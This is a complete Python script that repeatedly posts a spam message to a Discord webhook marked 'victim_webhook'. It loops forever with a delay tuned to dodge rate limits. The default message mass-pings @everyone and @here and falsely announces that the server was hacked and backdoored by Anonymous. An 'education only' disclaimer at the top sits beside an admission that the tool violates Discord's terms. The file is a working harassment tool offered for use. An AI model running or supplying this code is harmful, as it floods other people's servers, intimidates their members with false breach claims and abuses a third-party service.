|
# THIS IS FOR EDUCATION PURPOSES ONLY! |
|
# Only, use this with consent. |
|
# USING THIS IS IN VIOLATION OF DISCORD TERMS OF SERVICE (Paragraph 3, Communications, Discord Terms of Service). |
|
import json |
|
import time # Use for waiting |
|
import os # ONLY used for clearing screen. |
|
from urllib.request import Request, urlopen # Only use the request module to spam, no io to grab files. |
|
|
|
# Put the webhook you want to spam here. |
|
victim_webhook = '' |
|
# Default spam message. Really annoying. |
|
# You can modify this part, using \n is new line. |
|
message = '@everyone @here @everyone @here @everyone @here @everyone @here @everyone @here\n VIVE LA REVOLUTION\nTHIS HAVE BEEN HACKED BY ANONYMOUS\nYOU STUPID LOL\nYOUR SERVER HAS BEEN BACKDOORED!' |
|
# Dumps the messages into an JSON format. |
|
spam_message = json.dumps({'content': message}) |
|
# Headers for Discord API packets. |
|
# You can change this to anything valid, like Chrome, Edge,... |
|
headers = { |
|
'Content-Type': 'application/json', |
|
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.11 (KHTML, like Gecko) Chrome/23.0.1271.64 Safari/537.11' |
|
} |
|
|
|
# Clears the screen |
|
def screen_clear(): |
|
if os.name == 'posix': |
|
_ = os.system('clear') # Mac OS and Linux OS name is posix |
|
else: |
|
_ = os.system('cls') # Else is Windows. |
|
|
|
# Requests packet |
|
spam = Request(victim_webhook, data=spam_message.encode(), headers=headers) |
|
|
|
print("This is the program, that will spam the input webhook through Discord API.") |
|
print("Will spam in 5s...") # Gives user some time to exit if ran accidentally. |
|
time.sleep(5) # Waits 5s |
|
i = 0 # Count variable. |
|
while True: # F O R E V E R |
|
screen_clear() |
|
i = i + 1 |
|
print("SPAMMING...") # Good luck. |
|
# Sends the spam packet. |
|
urlopen(spam) |
|
print("I have spammed ", i, " times.") |
|
time.sleep(2.5) # To prevent being rate limited. |